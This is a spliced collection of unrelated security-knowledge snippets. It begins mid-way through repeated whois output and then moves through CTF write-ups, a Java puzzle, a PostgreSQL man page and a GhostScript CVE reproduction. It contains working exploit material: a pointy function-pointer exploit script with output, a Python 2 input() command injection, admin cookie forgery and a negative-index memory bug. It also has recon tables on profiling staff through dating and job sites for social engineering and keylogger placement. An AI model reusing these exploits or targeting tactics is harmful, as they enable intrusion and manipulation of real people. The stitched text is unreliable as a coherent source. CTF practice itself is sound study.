sponsorship of the domain name registration in the registry is currently set to expire. This date does not necessarily reflect the expiration date of the domain name registrant's agreement with the sponsoring registrar. Users may consult the sponsoring registrar's Whois database to view the registrar's reported date of expiration for this registration. TERMS OF USE: You are not authorized to access or query our Whois database through the use of electronic processes that are high-volume and automated except as reasonably necessary to register domain names or modify existing registrations; the Data in VeriSign Global Registry Services' ("VeriSign") Whois database is provided by VeriSign for information purposes only, and to assist persons in obtaining information about or related to a domain name registration record. VeriSign does not guarantee its accuracy. By submitting a Whois query, you agree to abide by the following terms of use: You agree that you may use this Data only for lawful purposes and that under no circumstances will you use this Data to: (1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via e-mail, telephone, or facsimile; or (2) enable high volume, automated, electronic processes that apply to VeriSign (or its computer systems). The compilation, repackaging, dissemination or other use of this Data is expressly prohibited without the prior written consent of VeriSign. You agree not to use electronic processes that are automated and high-volume to access or query the Whois database except as reasonably necessary to register domain names or modify existing registrations. VeriSign reserves the right to restrict your access to the Whois database in its sole discretion to ensure operational stability. VeriSign may restrict or terminate your access to the Whois database for failure to abide by these terms of use. VeriSign reserves the right to modify these terms at any time. The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars. Whois Server Version 2.0 Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. No match for "-H". >>> Last update of whois database: Thu, 29 Dec 2016 05:10:29 GMT <<< NOTICE: The expiration date displayed in this record is the date the registrar's sponsorship of the domain name registration in the registry is currently set to expire. This date does not necessarily reflect the expiration date of the domain name registrant's agreement with the sponsoring registrar. Users may consult the sponsoring registrar's Whois database to view the registrar's reported date of expiration for this registration. TERMS OF USE: You are not authorized to access or query our Whois database through the use of electronic processes that are high-volume and automated except as reasonably necessary to register domain names or modify existing registrations; the Data in VeriSign Global Registry Services' ("VeriSign") Whois database is provided by VeriSign for information purposes only, and to assist persons in obtaining information about or related to a domain name registration record. VeriSign does not guarantee its accuracy. By submitting a Whois query, you agree to abide by the following terms of use: You agree that you may use this Data only for lawful purposes and that under no circumstances will you use this Data to: (1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via e-mail, telephone, or facsimile; or (2) enable high volume, automated, electronic processes that apply to VeriSign (or its computer systems). The compilation, repackaging, dissemination or other use of this Data is expressly prohibited without the prior written consent of VeriSign. You agree not to use electronic processes that are automated and high-volume to access or query the Whois database except as reasonably necessary to register domain names or modify existing registrations. VeriSign reserves the right to restrict your access to the Whois database in its sole discretion to ensure operational stability. VeriSign may restrict or terminate your access to the Whois database for failure to abide by these terms of use. VeriSign reserves the right to modify these terms at any time. The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars. Whois Server Version 2.0 Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. No match for "WHOIS.ARIN.NET". >>> Last update of whois database: Thu, 29 Dec 2016 05:10:46 GMT <<< NOTICE: The expiration date displayed in this record is the date the registrar's sponsorship of the domain name registration in the registry is currently set to expire. This date does not necessarily reflect the expiration date of the domain name registrant's agreement with the sponsoring registrar. Users may consult the sponsoring registrar's Whois database to view the registrar's reported date of expiration for this registration. TERMS OF USE: You are not authorized to access or query our Whois database through the use of electronic processes that are high-volume and automated except as reasonably necessary to register domain names or modify existing registrations; the Data in VeriSign Global Registry Services' ("VeriSign") Whois database is provided by VeriSign for information purposes only, and to assist persons in obtaining information about or related to a domain name registration record. VeriSign does not guarantee its accuracy. By submitting a Whois query, you agree to abide by the following terms of use: You agree that you may use this Data only for lawful purposes and that under no circumstances will you use this Data to: (1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via e-mail, telephone, or facsimile; or (2) enable high volume, automated, electronic processes that apply to VeriSign (or its computer systems). The compilation, repackaging, dissemination or other use of this Data is expressly prohibited without the prior written consent of VeriSign. You agree not to use electronic processes that are automated and high-volume to access or query the Whois database except as reasonably necessary to register domain names or modify existing registrations. VeriSign reserves the right to restrict your access to the Whois database in its sole discretion to ensure operational stability. VeriSign may restrict or terminate your access to the Whois database for failure to abide by these terms of use. VeriSign reserves the right to modify these terms at any time. The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars. ``` We will refer to each bracket from the start, to finish as bracket A - D. We will then go into much more details as to each sector of brackets explaining how each section can effect security, and how attackers will use this information to gather a detailed map; and other details about the internal network, and structure of your organization to prepare for penetration. However, before we delve deeper into the information displayed on the whois sections, we will describe each domain in which whois searches can be compiled through. The following chart displays the information to query each region of the world in regard to whois look-ups. |**Whois Server**|**Locations Effected**|**Server Address**| |:---------------|:---------------------|:-----------------| | ARIN | American Registry of Internet Numbers Continental United States. | http://arin.net | | APNIC | Asia Pacific Information Center. |http://apnic.net | | LACNIC | Latin American and Caribbean Internet Addresses Registry | http://lacnic.net | | NIC.gov | Government Searches | http://nic.gov/whois.html | | NetworkSolutions.com | Com, Net, Org, Edu name look ups | http://networksolutions.com | | Whois.net | Whois lookup Server | http://whois.net | | Crsnic.net | Verisign Whois Lookup | http://crsnic.net<BR>http://registrar.verisign-grs.com/whois/ | Additional Information that can be returned from a whois query and abused is as follows: |Return Query|Data Returned|Used for| |:-----------|:------------|:-------| |Address - Country|Location of Target|- Location of Target<BR>\- Physical Security<BR>- Dumpster Diving<BR>- Social Engineering| |Net Range - Name Servers|Internet Addressing Scheme|- Utilzing for Targeting<BR>- Zone Transfers (ixfr | axfr)| |Registration Update & Expirary|Date formats & Times|- Social Engineering<BR>- DNS Cache Poisoning| |RTech handle - Rtech Email|Admin Contact Info|- First / Last Name<BR>- Social Engineering<BR>- Reverse Engineering<BR>- E-mail Contact<BR>- Possible Phone Contact<BR>- Home Location| Additional resources for whois gathering and data mining: |Resource|Information Gained|Information Used for| |:-------|:-----------------|:-------------------| |myspace.com,<BR>meetspot.com,<BR>adultfriendfinder.com,<BR>friendfinder.com,<BR>facebook.com,<BR>classmates.com|- Targets profile through surveys<BR>- persons they'd be receptive to<BR>- Complete likes, dislikes and vulnerabilities<BR>- A nonchalant vantage point into their lives|- Social / Reverse Engineering<BR>- Leveraging access from their machine to a corporate machine.<BR>- Passive information gathering utilzing sniffing<BR>- Possibility of physical invasion where physical attacks can take residence utilzing keyloggers and other hardware attacks.| |Corporate BBS,<BR>Google Searches for Help,<BR>IT/IS Vendor Seaches (IBM, Solaris, Etc)|- Specific problems and help documentation<BR>- Techs, or Security professionals involved in solving tasks<BR>- Longterm / short term solutions which can be leveraged<BR>- Possibility of user names, or even passwords being utilized.|- Social / Reverse Engineering<BR>- User names for brute force and other attacks<BR>- Minor map of internal network<BR>- Short term solutions, which may contain vulnerabilities; long term solutions which may need further digging to circumvent<BR>- The ability of exposure to test locations, with the availability of passwords, and usernames where access can be granted.| |monster.com,<BR>bigapplehead.com,<BR>dice.com,<BR>other job searches|- Architecture Utilzed<BR>- Contact information<BR>- Geographic Location<BR>- Possibility of additional links on corporate site, which may return more hidden links.|- Reverse & Social Engineering<BR>- Ability to possibly gain temporary access on site to take pictures, and social engineer employer.<BR>- Gather which technologies are in use to launch a penetration test, or attack the target.<BR>- Further understand and physical security implementations during job interview<BR>- With interview access, this gives "candidate" the ability to place road apples in or around the facility.|
sec-knowleage
##Twitter search (Recon, 200p) So you reached Delhi and now the noise in your head is not allowing you to think rationally. The Nosise in your head has origin its Origin in your Stomach. And this is a big hunger. You can finish one or probably 2 Tandoori Chicken. So where can you get the best Tandoori Chicken in Delhi? This place tweeted last week that the Tandoori Chicken it servers is like never B4. You got its twitter handle? ###PL [ENG](#eng-version) ###ENG version
sec-knowleage
# 65. 不用加减乘除做加法 ## 题目链接 [NowCoder](https://www.nowcoder.com/practice/59ac416b4b944300b617d4f7f111b215?tpId=13&tqId=11201&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 写一个函数,求两个整数之和,要求不得使用 +、-、\*、/ 四则运算符号。 ## 解题思路 a ^ b 表示没有考虑进位的情况下两数的和,(a & b) \<\< 1 就是进位。 递归会终止的原因是 (a & b) \<\< 1 最右边会多一个 0,那么继续递归,进位最右边的 0 会慢慢增多,最后进位会变为 0,递归终止。 ```java public int Add(int a, int b) { return b == 0 ? a : Add(a ^ b, (a & b) << 1); } ```
sec-knowleage
# Postbook - FLAG5 ## 0x00 Cookie user cookie ``` id: "c81e728d9d4c2f636f067f89cc14862c" ``` Check at [cmd5.com][1]. It is just md5 value of 2. ![](./imgs/cookie.jpg) ## 0x01 Admin Cookie md5(1) ``` id: "c4ca4238a0b923820dcc509a6f75849b" ``` ## 0x02 FLAG Successfully login as admin. ![](./imgs/flag.jpg) [1]: https://www.cmd5.com/
sec-knowleage
# Tapping Cryptography, 200 points ## Description: > Theres tapping coming in from the wires. ## Solution: Let's connect to the service: ```console root@kali:/media/sf_CTFs/pico/Tapping# nc 2019shell1.picoctf.com 37920 .--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. ..... ---.. ...-- ----. ----- ----- ----. ---.. .---- } ``` This looks like morse code. We can decode this with the [CyberChef Online API](https://github.com/gchq/CyberChef/wiki/Node-API). If you're using Kali, the NPM package which comes with the OS is outdated, and in order to update it you need to follow [these](https://npmerror.com/how-to-update-npm-in-linux/#comment-5) instructions. Then, you can install the CyberChef package globally using `npm install -g cyberchef --unsafe-perm=true --allow-root`. Now we can decode the message using: ```console root@kali:/media/sf_CTFs/pico/Tapping# export NODE_PATH=$(npm root --quiet -g) root@kali:/media/sf_CTFs/pico/Tapping# node > const chef = require("cyberchef"); > chef.fromMorseCode(".--. .. -.-. --- -.-. - ..-.").toString() + "{" + chef.fromMorseCode(" -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. ..... ---.. ...-- ----. ----- ----- ----. ---.. .---- ").toString() + "}" 'PICOCTF{M0RS3C0D31SFUN583900981}' ```
sec-knowleage
from pwn import * import hashlib import matplotlib.pyplot as plt sys.setrecursionlimit(100000) context.log_level="DEBUG" host="amazeing.hackable.software" r=remote(host,1337) key="" def move(m): x=m[0] y=m[1] if y==-1: port=31337 if y==1: port=31339 if x==-1: port=31336 if x==1: port=31338 rr=remote(host,port) rr.sendline(key) rr.close() def brute(start, needed): i=0 while True: s=start+str(i) h=hashlib.sha1(s).hexdigest()[:len(needed)] if h==needed: return s i+=1 s=r.recvuntil("... ...") print s for word in s.split(" "): if word[:2]=="0x": pof=word[2:].lower() s=brute("DrgnS",pof) print s r.send(s+"\n") r.recvuntil("secret is : ") key=r.recvuntil(" ")[:-1] print repr(key) r.recvline() visited=set((5,-5)) walls=set() plt.get_current_fig_manager().resize(1200,800) plt.show(block=False) xx=[] yy=[] xw=[] yw=[] def move_ok(): line=r.recvline() print "OKOKOK: ", line if line.find("Ok")>-1: return True return False def redraw(): plt.plot(xx, yy, "ro", xw, yw, "bo") plt.xlim(min(xx+xw)-1, max(xx+xw)+1) plt.ylim(min(yy+yw)-1, max(yy+yw)+1) plt.draw() def dfs(curpos): xx.append(curpos[0]) yy.append(curpos[1]) if (len(xx)+len(xw))%20==0: print "Visited" print visited print "Walls" print walls redraw() print "DFS"+str(curpos) print "" for movement in [(0,1),(0,-1),(-1,0),(1,0)]: newpos=(curpos[0]+movement[0], curpos[1]+movement[1]) if newpos in visited: continue if newpos in walls: continue move(movement) if move_ok(): visited.add(newpos) dfs(newpos) revmovement=(-movement[0], -movement[1]) move(revmovement) move_ok() else: xw.append(newpos[0]) yw.append(newpos[1]) walls.add(newpos) dfs((5,5)) print visited print walls redraw() r.interactive()
sec-knowleage
# Writeup 32c3 CTF 2015 Uczestniczyliśmy (cr019283, c7f.m0d3, mnmd21891, msm, Rev, other019, nazywam i Shalom) w 32c3 CTF 2015, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy). ### Spis treści: * [Forth (Pwn) 150](forth_pwn_150) * [Teufel (Pwn) 200](teufel_pwn_200) * [HD44780 (Embedded) 150](hd44780_embedded_150) * [TinyHosting (Web) 250](tiny_hosting_web_250) * [Gurke (Misc) 300](gurke_misc_300)
sec-knowleage
.TH "IPCCLEAN" "1" "2003-11-02" "Application" "PostgreSQL Server Applications" .SH NAME ipcclean \- 从退出的PostgreSQL服务器中删除共享内存和信号灯 .SH SYNOPSIS .sp \fBipcclean\fR .SH "DESCRIPTION 描述" .PP \fBipcclean\fR 删除当前用户拥有的所有共享内存段和信号灯集。 它的目地是在 PostgreSQL 服务器 (\fBpostmaster\fR(1))崩溃之后进行清理。 请注意的是立 即重起服务器也会清理共享内存和信号灯,所以这条命令实际上用处不大。 .PP 应该只有数据库管理员可以运行这条命令,因为如果在多用户的环境中执行, 它会 导致怪异的行为(也就是说,崩溃)。 如果在服务器运行时执行这条命令, 服务 器分配的共享内存和信号灯将被删除。 这通常会导致该服务器启动的后端服务器的 普遍失败。 .SH "NOTES 注意" .PP 这个脚本是个\(lqhack\(rq,但是从写成它的这些年来, 没有人提出等效的可移植的解决 方法。因为 \fBpostmaster\fR 现在可以清理自己,所以以后很可能不会继续改进 ipcclean。 .PP 这个脚本对 \fBipcs\fR 工具的输出做了一些假设, 而这些假设可能在不同的操作 系统间是不同的。因此,它可能不能在你的系统上运行。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# pointy Binary Exploitation, 350 points ## Description: > Exploit the function pointers in this program. ```c #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #define FLAG_BUFFER 128 #define NAME_SIZE 128 #define MAX_ADDRESSES 1000 int ADRESSES_TAKEN=0; void *ADDRESSES[MAX_ADDRESSES]; void win() { char buf[FLAG_BUFFER]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); puts(buf); fflush(stdout); } struct Professor { char name[NAME_SIZE]; int lastScore; }; struct Student { char name[NAME_SIZE]; void (*scoreProfessor)(struct Professor*, int); }; void giveScoreToProfessor(struct Professor* professor, int score){ professor->lastScore=score; printf("Score Given: %d \n", score); } void* retrieveProfessor(char * name ){ for(int i=0; i<ADRESSES_TAKEN;i++){ if( strncmp(((struct Student*)ADDRESSES[i])->name, name ,NAME_SIZE )==0){ return ADDRESSES[i]; } } puts("person not found... see you!"); exit(0); } void* retrieveStudent(char * name ){ for(int i=0; i<ADRESSES_TAKEN;i++){ if( strncmp(((struct Student*)ADDRESSES[i])->name, name ,NAME_SIZE )==0){ return ADDRESSES[i]; } } puts("person not found... see you!"); exit(0); } void readLine(char * buff){ int lastRead = read(STDIN_FILENO, buff, NAME_SIZE-1); if (lastRead<=1){ exit(0); puts("could not read... see you!"); } buff[lastRead-1]=0; } int main (int argc, char **argv) { while(ADRESSES_TAKEN<MAX_ADDRESSES-1){ printf("Input the name of a student\n"); struct Student* student = (struct Student*)malloc(sizeof(struct Student)); ADDRESSES[ADRESSES_TAKEN]=student; readLine(student->name); printf("Input the name of the favorite professor of a student \n"); struct Professor* professor = (struct Professor*)malloc(sizeof(struct Professor)); ADDRESSES[ADRESSES_TAKEN+1]=professor; readLine(professor->name); student->scoreProfessor=&giveScoreToProfessor; ADRESSES_TAKEN+=2; printf("Input the name of the student that will give the score \n"); char nameStudent[NAME_SIZE]; readLine(nameStudent); student=(struct Student*) retrieveStudent(nameStudent); printf("Input the name of the professor that will be scored \n"); char nameProfessor[NAME_SIZE]; readLine(nameProfessor); professor=(struct Professor*) retrieveProfessor(nameProfessor); puts(professor->name); unsigned int value; printf("Input the score: \n"); scanf("%u", &value); student->scoreProfessor(professor, value); } return 0; } ``` ## Solution: The provided program allows us to enter students and professors. Students can then rate the professors. Professors are stored in the following structure: ```c struct Professor { char name[NAME_SIZE]; int lastScore; }; ``` Students have a different structure: ```c struct Student { char name[NAME_SIZE]; void (*scoreProfessor)(struct Professor*, int); }; ``` When a student rates a professor, the student's `scoreProfessor` function pointer is called. This function pointer points to: ```c void giveScoreToProfessor(struct Professor* professor, int score){ professor->lastScore=score; printf("Score Given: %d \n", score); } ``` The function assigns to the `lastScore` member of the `struct Professor` structure the value provided by the user via `scanf("%u", &value)`. This it the first bug in the program: It allows us to assign any value an `unsigned int` can represent, not just valid scores in a given range. The second bug is that the program allows us to retrieve a student using the `retrieveProfessor` function, allowing us in fact to assign any value to the `scoreProfessor` pointer which sits in the same location as the `lastScore` member. ```c void* retrieveProfessor(char * name ){ for(int i=0; i<ADRESSES_TAKEN;i++){ if( strncmp(((struct Student*)ADDRESSES[i])->name, name ,NAME_SIZE )==0){ return ADDRESSES[i]; } } puts("person not found... see you!"); exit(0); } ``` The function does not verify that the pointer retrieved belongs to a professor, it just locates the first member with the name provided as an input parameter. So, our exploit is as follows: 1. Allocate a student `s1`, and a professor `p1` 2. Request that `s1` rates `s1`, allowing it to override its own `retrieveProfessor` pointer 3. Enter the address of `win` as the score. `s1->retrieveProfessor` becomes a pointer to `win`. 4. Allocate a student `s2` and a professor `s2` (needed just in order to get to the next step) 5. Request that `s1` will be the student that rates (it doesn't matter who) 6. Input any rating. `s1->retrieveProfessor` will be called, calling `win` and giving us the flag. ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/pointy_4_3b3533bd4e08119669feda53e8cb0502/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX enabled # PIE: No PIE (0x8048000) import os if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) io = start() io.sendlineafter("Input the name of a student", "s1") io.sendlineafter("Input the name of the favorite professor of a student ", "p1") io.sendlineafter("Input the name of the student that will give the score ", "s1") io.sendlineafter("Input the name of the professor that will be scored ", "s1") io.sendlineafter("Input the score: ", str(exe.symbols["win"])) io.sendlineafter("Input the name of a student", "s2") io.sendlineafter("Input the name of the favorite professor of a student ", "p2") io.sendlineafter("Input the name of the student that will give the score ", "s1") io.sendlineafter("Input the name of the professor that will be scored ", "p2") io.sendlineafter("Input the score: ", "0") io.recvline() print io.recvline() io.sendlineafter("Input the name of a student", "") io.wait() ``` Output: ```console root@kali:/media/sf_CTFs/pico/pointy# python exploit.py [*] '/media/sf_CTFs/pico/pointy/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.x7K8Y3kGCL' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/pointy_4_3b3533bd4e08119669feda53e8cb0502' [+] Starting remote process '/problems/pointy_4_3b3533bd4e08119669feda53e8cb0502/vuln' on 2019shell1.picoctf.com: pid 3362112 picoCTF{g1v1ng_d1R3Ct10n5_c7465fbf} ```
sec-knowleage
# GhostScript 沙箱绕过(命令执行)漏洞(CVE-2019-6116) 2019年1月23日晚,Artifex官方在ghostscriptf的master分支上提交合并了多达6处的修复。旨在修复 CVE-2019-6116 漏洞,该漏洞由 Google 安全研究员 Tavis 于2018年12月3日提交。该漏洞可以直接绕过 ghostscript 的安全沙箱,导致攻击者可以执行任意命令/读取任意文件。 GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。 参考链接: - https://bugs.chromium.org/p/project-zero/issues/detail?id=1729&desc=2 - https://www.anquanke.com/post/id/170255 ## 漏洞环境 执行如下命令启动漏洞环境(其中包括最新版 GhostScript 9.26、ImageMagick 7.0.8-27): ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`将可以看到一个上传组件。 ## 漏洞复现 作者给出了[POC](poc.png),上传这个文件,即可执行`id > /tmp/success`: ![](1.png) 我们也可以用``docker run -it --rm --name uu -v `pwd`/poc.png:/tmp/poc.png vulhub/imagemagick:7.0.8-27-php identify /tmp/poc.png``来直接测试poc: ![](2.png)
sec-knowleage
# Weird File Category: Binary Exploitation, 50 points ## Description A Python file was attached. ```python #!/usr/bin/python2 -u import random cities = open("./city_names.txt").readlines() city = random.choice(cities).rstrip() year = 2018 print("What's your favorite number?") res = None while not res: try: res = input("Number? ") print("You said: {}".format(res)) except: res = None if res != year: print("Okay...") else: print("I agree!") print("What's the best city to visit?") res = None while not res: try: res = input("City? ") print("You said: {}".format(res)) except: res = None if res == city: print("I agree!") flag = open("./flag").read() print(flag) else: print("Thanks for your input!") ``` ## Solution This is a standard Python2 `input` challenge. It's a known fact that using [`input`](https://python.readthedocs.io/en/v2.7.2/library/functions.html?highlight=input#input) in Python 2 is dangerous: > Equivalent to `eval(raw_input(prompt))`. So, when the program requests input, we can provide it with a Python expression: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Whats_your_input] └─$ nc mercury.picoctf.net 39137 What's your favorite number? Number? __import__('os').system('ls') city_names.txt flag in.py xinet_startup.sh You said: 0 Number? __import__('os').system('cat flag') picoCTF{v4lua4bl3_1npu7_8433797} You said: 0 ``` The flag: `picoCTF{v4lua4bl3_1npu7_8433797}`
sec-knowleage
# Confidence CTF Teaser 2017 Team: rev, nazywam, akrasuski1, msm, c7f.m0d3, shalom ## Table of contents * [Public Key Infrastructure (crypto)](pki)
sec-knowleage
# Fridge TODO List PWN ## Description: > One of the main selling points of smart fridge 2000 over the smart fridge 1999 is that it comes with a TODO list network service. We heard that Wintermuted uses this list as a password storage, maybe you can find a bug to leak their notes? Luckily we found the source code of the TODO list on the vendor's website. ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <err.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <stdbool.h> #include <ctype.h> #include <linux/limits.h> const char BANNER[] = "\ ███████╗███╗ ███╗ █████╗ ██████╗ ████████╗ ███████╗██████╗ ██╗██████╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ██████╗ \n\ ██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝ ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝ ╚════██╗██╔═████╗██╔═████╗██╔═████╗ \n\ ███████╗██╔████╔██║███████║██████╔╝ ██║ █████╗ ██████╔╝██║██║ ██║██║ ███╗█████╗ █████╔╝██║██╔██║██║██╔██║██║██╔██║ \n\ ╚════██║██║╚██╔╝██║██╔══██║██╔══██╗ ██║ ██╔══╝ ██╔══██╗██║██║ ██║██║ ██║██╔══╝ ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║ \n\ ███████║██║ ╚═╝ ██║██║ ██║██║ ██║ ██║ ██║ ██║ ██║██║██████╔╝╚██████╔╝███████╗ ███████╗╚██████╔╝╚██████╔╝╚██████╔╝ \n\ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ \n\ \n\ █████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ ██████╗███████╗██████╗ ████████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███████╗████████╗\n\ ██╔══██╗██╔══██╗██║ ██║██╔══██╗████╗ ██║██╔════╝██╔════╝██╔══██╗ ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗ ██║ ██║██╔════╝╚══██╔══╝\n\ ███████║██║ ██║██║ ██║███████║██╔██╗ ██║██║ █████╗ ██║ ██║ ██║ ██║ ██║██║ ██║██║ ██║ ██║ ██║███████╗ ██║ \n\ ██╔══██║██║ ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║ ██╔══╝ ██║ ██║ ██║ ██║ ██║██║ ██║██║ ██║ ██║ ██║╚════██║ ██║ \n\ ██║ ██║██████╔╝ ╚████╔╝ ██║ ██║██║ ╚████║╚██████╗███████╗██████╔╝ ██║ ╚██████╔╝██████╔╝╚██████╔╝ ███████╗██║███████║ ██║ \n\ ╚═╝ ╚═╝╚═════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝╚══════╝╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝ ╚═╝ "; const char MENU[] = "\n\ Hi %s, what would you like to do?\n\ 1) Print TODO list\n\ 2) Print TODO entry\n\ 3) Store TODO entry\n\ 4) Delete TODO entry\n\ 5) Remote administration\n\ 6) Exit\n\ > "; const char OUT_OF_BOUNDS_MESSAGE[] = "Sorry but this model only supports 128 TODO list entries.\nPlease upgrade to the Smart Fridge 3001 for increased capacity."; #define TODO_COUNT 128 #define TODO_LENGTH 48 int todo_fd; char username[64]; char todos[TODO_COUNT*TODO_LENGTH]; void init() { system("mkdir todos 2>/dev/null"); setlinebuf(stdout); } void read_line(char *buf, size_t buf_sz) { if (!fgets(buf, buf_sz, stdin)) { err(1, "fgets()"); } size_t read_cnt = strlen(buf); if (read_cnt && buf[read_cnt-1] == '\n') { buf[read_cnt-1] = 0; } } bool read_all(int fd, char *buf, size_t read_sz) { while (read_sz) { ssize_t num_read = read(fd, buf, read_sz); if (num_read <= 0) { return false; } read_sz -= num_read; buf += num_read; } return true; } void write_all(int fd, char *buf, size_t write_sz) { while (write_sz) { ssize_t num_written = write(fd, buf, write_sz); if (num_written <= 0) { err(1, "write"); } write_sz -= num_written; buf += num_written; } } bool string_is_alpha(const char *s) { for (; *s; s++) { if (!isalpha(*s)) { return false; } } return true; } bool list_is_empty() { for (int i = 0; i < TODO_COUNT; i++) { if(todos[i*TODO_LENGTH]) { return false; } } return true; } void print_list() { if (list_is_empty()) { puts("Your TODO list is empty. Enjoy your free time!"); return; } puts("+=====+=================================================================+"); for (int i = 0; i < TODO_COUNT; i++) { if(todos[i*TODO_LENGTH]) { printf("| %3d | %-63s |\n", i, &todos[i*TODO_LENGTH]); } } puts("+=====+=================================================================+"); } void open_todos() { char todos_filename[PATH_MAX] = "todos/"; strncat(todos_filename, username, sizeof(todos_filename)-strlen(todos_filename) - 1); todo_fd = open(todos_filename, O_RDWR); if (todo_fd != -1 && read_all(todo_fd, todos, sizeof(todos))) { if (!list_is_empty()) { print_list(); } } else { todo_fd = open(todos_filename, O_RDWR | O_CREAT | O_TRUNC, 0600); if (todo_fd == -1) { err(1, "Could not create TODO storage file"); } } } void authenticate() { printf("user: "); fflush(stdout); read_line(username, sizeof(username)); if (!string_is_alpha(username)) { errx(1, "username can only consist of [a-zA-Z]"); } } int read_int() { char buf[128]; read_line(buf, sizeof(buf)); return atoi(buf); } void store_todos() { write_all(todo_fd, todos, sizeof(todos)); close(todo_fd); } void store_todo() { printf("In which slot would you like to store the new entry? "); fflush(stdout); int idx = read_int(); if (idx > TODO_COUNT) { puts(OUT_OF_BOUNDS_MESSAGE); return; } printf("What's your TODO? "); fflush(stdout); read_line(&todos[idx*TODO_LENGTH], TODO_LENGTH); } void print_todo() { printf("Which entry would you like to read? "); fflush(stdout); int idx = read_int(); if (idx > TODO_COUNT) { puts(OUT_OF_BOUNDS_MESSAGE); return; } printf("Your TODO: %s\n", &todos[idx*TODO_LENGTH]); } void delete_todo() { printf("Which TODO number did you finish? "); fflush(stdout); int idx = read_int(); if (idx > TODO_COUNT) { puts(OUT_OF_BOUNDS_MESSAGE); return; } todos[idx*TODO_LENGTH] = 0; if (list_is_empty()) { puts("Awesome, you cleared the whole list!"); } else { puts("Nice job, keep it up!"); } } bool administration_enabled() { return false; } void admin() { puts("Sorry, remote administration is not available right now."); } int main(int argc, char *argv[]) { init(); puts(BANNER); authenticate(); open_todos(); while (true) { printf(MENU, username); fflush(stdout); int choice = read_int(); puts(""); switch (choice) { case 1: print_list(); break; case 2: print_todo(); break; case 3: store_todo(); break; case 4: delete_todo(); break; case 5: admin(); break; case 6: store_todos(); puts("Your TODO list has been stored. Have a nice day!"); return 0; default: printf("unknown option %d\n", choice); break; } } } ``` A binary file was attached. ## Solution: The program offers a TODO-list management interface. It allows to read, store and delete TODO entries from the list, where each TODO entry is essentially a chunk of length TODO_LENGTH reserved in the `todo` global (`todos[TODO_COUNT*TODO_LENGTH]`). Accessing entry `idx` is done by referencing `todos[idx*TODO_LENGTH]`. Now, `int idx` is usually controlled by the user, but is checked against the upper bound of `TODO_COUNT`. One obvious bug, is that since `idx` should be limited to the maximum value of `TODO_COUNT - 1` and not `TODO_COUNT`. This allows us to access memory after the buffer. However, an even better bug is that this int is not checked against a lower bound! We can combine this with the fact that `idx` is read using `read_int()`, which in turn uses `atoi`: ```c int read_int() { char buf[128]; read_line(buf, sizeof(buf)); return atoi(buf); } ``` This gives us the ability to enter a negative number, and reference memory before the buffer! However, we are limited to "steps" of `TODO_LENGTH` bytes, which is defined as `48`. Let's start searching for what we can access: ``` root@kali:/media/sf_CTFs/google/todo# r2 todo -- Thank you for using radare2. Have a nice night! [0x00000a10]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Enable constraint types analysis for variables [0x00000a10]> f~todos 0x0000251a 24 str.mkdir_todos_2__dev_null 0x00000f58 45 sym.store_todos 0x00203140 6144 obj.todos 0x00000db8 280 sym.open_todos [0x00000a10]> s obj.todos [0x00203140]> pd 2 ;-- todos: ; 